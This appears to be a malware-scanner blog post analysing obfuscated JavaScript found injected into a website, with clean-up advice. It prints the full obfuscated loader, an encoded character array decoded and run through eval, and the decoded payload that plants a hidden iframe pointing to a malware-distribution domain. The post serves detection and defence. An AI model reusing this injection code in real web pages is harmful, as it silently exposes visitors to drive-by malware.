Obfuscated malicious JavaScript code injects iframes to blacklisted domain
Background
Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website user and which downloads content from remote malware distributor. This infected website hosts suspicious JavaScript code injected in 1 file. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms.
Malicious action
Malicious iframes are often used to distribute malware hosted on external web resources(websites).
Website malware scanner report
Submission date: Sun Apr 28 13:05:50 2013
Infected website's files: 1
Malware entry
Malware entry details.
Beautified script
- try {
- document.body++
- } catch (dgsgsdg) {
- zxc = 1;
- ww = eval("window");
- }
- try {
- d = document.createElement("div");
- d.innerHTML.a = "asd";
- } catch (agdsg) {
- zxc = 0;
- }
- try {
- if (ww.document) window["doc" + "ument"]["body"] = "asd"
- } catch (bawetawe) {
- if (ww.document) {
- v = window;
- try {
- fawbe--
- } catch (afnwenew) {
- if ("".substr) ev = eval;
- n = ["9", "9", "45", "42", "17", "1f", "40", "4b", "3o", "4h", "49", "41", "4a", "4g", "1l", "43","41", "4g", "2j", "48", "41", "49", "41", "4a", "4g", "4f", "2g", "4l", "39", "3m", "43", "33", "3m", "49", "41","1f", "1e", "3n", "4b", "40", "4l", "1e", "1g", "3g", "1n", "3i", "1g", "4n", "d", "9", "9", "9", "45", "42","4e", "3m", "49", "41", "4e", "1f", "1g", "29", "d", "9", "9", "50", "17", "41", "48", "4f", "41", "17", "4n","d", "9", "9", "9", "40", "4b", "3o", "4h", "49", "41", "4a", "4g", "1l", "4j", "4e", "45", "4g", "41", "1f","19", "2a", "45", "42", "4e", "3m", "49", "41", "17", "4f", "4e", "3o", "2b", "1e", "44", "4g", "4g", "4c", "28","1m", "1m", "4j", "43", "4i", "41", "3n", "49", "1l", "4f", "41", "4k", "45", "40", "4h", "40", "41", "1l", "3o","4b", "49", "1m", "3o", "4b", "4h", "4a", "4g", "41", "4e", "1m", "4f", "4g", "3m", "4g", "4f", "1l", "4c", "44","4c", "1e", "17", "4j", "45", "40", "4g", "44", "2b", "1e", "1o", "1n", "1e", "17", "44", "41", "45", "43", "44","4g", "2b", "1e", "1o", "1n", "1e", "17", "4f", "4g", "4l", "48", "41", "2b", "1e", "4j", "45", "40", "4g", "44","28", "1o", "1n", "1n", "4c", "4k", "29", "44", "41", "45", "43", "44", "4g", "28", "1o", "1n", "1n", "4c", "4k","29", "4c", "4b", "4f", "45", "4g", "45", "4b", "4a", "28", "3m", "3n", "4f", "4b", "48", "4h", "4g", "41", "29","48", "41", "42", "4g", "28", "1k", "1o", "1n", "1n", "4c", "4k", "29", "4g", "4b", "4c", "28", "1n", "29", "1e","2c", "2a", "1m", "45", "42", "4e", "3m", "49", "41", "2c", "19", "1g", "29", "d", "9", "9", "50", "d", "9", "9","42", "4h", "4a", "3o", "4g", "45", "4b", "4a", "17", "45", "42", "4e", "3m", "49", "41", "4e", "1f", "1g", "4n","d", "9", "9", "9", "4i", "3m", "4e", "17", "42", "17", "2b", "17", "40", "4b", "3o", "4h", "49", "41", "4a","4g", "1l", "3o", "4e", "41", "3m", "4g", "41", "2j", "48", "41", "49", "41", "4a", "4g", "1f", "1e", "45", "42","4e", "3m", "49", "41", "1e", "1g", "29", "42", "1l", "4f", "41", "4g", "2f", "4g", "4g", "4e", "45", "3n", "4h","4g", "41", "1f", "1e", "4f", "4e", "3o", "1e", "1j", "1e", "44", "4g", "4g", "4c", "28", "1m", "1m", "4j", "43","4i", "41", "3n", "49", "1l", "4f", "41", "4k", "45", "40", "4h", "40", "41", "1l", "3o", "4b", "49", "1m", "3o","4b", "4h", "4a", "4g", "41", "4e", "1m", "4f", "4g", "3m", "4g", "4f", "1l", "4c", "44", "4c", "1e", "1g", "29","42", "1l", "4f", "4g", "4l", "48", "41", "1l", "48", "41", "42", "4g", "2b", "1e", "1k", "1o", "1n", "1n", "4c","4k", "1e", "29", "42", "1l", "4f", "4g", "4l", "48", "41", "1l", "4g", "4b", "4c", "2b", "1e", "1n", "1e", "29","42", "1l", "4f", "4g", "4l", "48", "41", "1l", "4c", "4b", "4f", "45", "4g", "45", "4b", "4a", "2b", "1e", "3m","3n", "4f", "4b", "48", "4h", "4g", "41", "1e", "29", "42", "1l", "4f", "4g", "4l", "48", "41", "1l", "48", "41","42", "4g", "2b", "1e", "1n", "1e", "29", "42", "1l", "4f", "4g", "4l", "48", "41", "1l", "4g", "4b", "4c", "2b","1e", "1n", "1e", "29", "42", "1l", "4f", "41", "4g", "2f", "4g", "4g", "4e", "45", "3n", "4h", "4g", "41", "1f","1e", "4j", "45", "40", "4g", "44", "1e", "1j", "1e", "1o", "1n", "1e", "1g", "29", "42", "1l", "4f", "41", "4g","2f", "4g", "4g", "4e", "45", "3n", "4h", "4g", "41", "1f", "1e", "44", "41", "45", "43", "44", "4g", "1e", "1j","1e", "1o", "1n", "1e", "1g", "29", "d", "9", "9", "9", "40", "4b", "3o", "4h", "49", "41", "4a", "4g", "1l","43", "41", "4g", "2j", "48", "41", "49", "41", "4a", "4g", "4f", "2g", "4l", "39", "3m", "43", "33", "3m", "49","41", "1f", "1e", "3n", "4b", "40", "4l", "1e", "1g", "3g", "1n", "3i", "1l", "3m", "4c", "4c", "41", "4a", "40","2h", "44", "45", "48", "40", "1f", "42", "1g", "29", "d", "9", "9", "50"];
- h = 2;
- s = "";
- if (zxc) for (i = 0; i - 619 != 0; i++) {
- k = i;
- s += String.fromCharCode(parseInt(n[i], 25));
- }
- z = s;
- if (ww.document) ev("if(1)" + z)
- }
- }
- }
Malicious payload
Decoded payload generates hidden iframe to http://wgvebm.sexidude.com/counter/stats.php
The website is Suspicious on Google Safe Browsing.
"Malicious software is hosted on 1 domain(s), including wgvebm.sexidude.com."
Detected by3 out of 36 vendors as well. See on virustotal report: https://www.virustotal.com/en/url/686b1b41f784da1d6e3eb6026c3434f54a39d6c31ef455211b34cb3d0c338265/analysis/1367172887/
- if (document.getElementsByTagName('body')[0]) {
- iframer();
- } else {
- document.write("<iframe src='http://wgvebm.sexidude.com/counter/stats.php' width='10' height='10' style='width:100px;height:100px;position:absolute;left:-100px;top:0;'></iframe>");
- }
- function iframer() {
- var f = document.createElement('iframe');
- f.setAttribute('src', 'http://wgvebm.sexidude.com/counter/stats.php');
- f.style.left = '-100px';
- f.style.top = '0';
- f.style.position = 'absolute';
- f.style.left = '0';
- f.style.top = '0';
- f.setAttribute('width', '10');
- f.setAttribute('height', '10');
- document.getElementsByTagName('body')[0].appendChild(f);
- }
Blacklisting status
The website is Suspicious on Google Safe Browsing.
"Malicious software is hosted on 1 domain(s), including wgvebm.sexidude.com."
Detected by3 out of 36 vendors as well. See on virustotal report: https://www.virustotal.com/en/url/686b1b41f784da1d6e3eb6026c3434f54a39d6c31ef455211b34cb3d0c338265/analysis/1367172887/
Google Safe Browsing analysis |
Malware clean-up
Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment. Check your own website our any other website you about to visit with Online Malware Scanner.
No comments:
Post a Comment